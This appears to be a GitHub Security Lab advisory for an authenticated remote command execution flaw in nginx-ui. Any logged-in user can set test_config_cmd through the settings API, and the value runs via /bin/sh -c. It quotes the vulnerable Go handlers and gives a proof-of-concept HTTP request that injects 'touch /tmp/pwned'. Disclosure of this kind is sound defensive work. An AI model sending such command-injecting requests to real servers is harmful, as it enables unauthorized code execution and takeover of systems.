Authenticated (user role) remote command execution by modifying `nginx` settings (GHSL-2023-269)

Summary

The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn’t allow users to modify any of these settings, it is possible to do so by sending a request to the API.

func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}

The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:

func SaveSettings(c *gin.Context) {
    var json struct {
        ...
        Nginx  settings.Nginx  `json:"nginx"`
        ...
    }

    ...

    settings.NginxSettings = json.Nginx

    ...

    err := settings.Save()
    ...
}

The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:

func TestConf() (out string) {
	if settings.NginxSettings.TestConfigCmd != "" {
		out = execShell(settings.NginxSettings.TestConfigCmd)

		return
	}

	out = execCommand("nginx", "-t")

	return
}

The execShell function is defined as follows:

func execShell(cmd string) (out string) {
	bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
	out = string(bytes)
	if err != nil {
		out += " " + err.Error()
	}
	return
}

Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.

Proof of Concept

> Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.

1. Login as a newly created user.
2. Send the following request to modify the settings with "test_config_cmd":"touch /tmp/pwned".

POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}

3. Add a new site in Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
4. Verify that /tmp/pwned exists.

$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root    0 Dec 14 21:10 pwned

Impact

This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.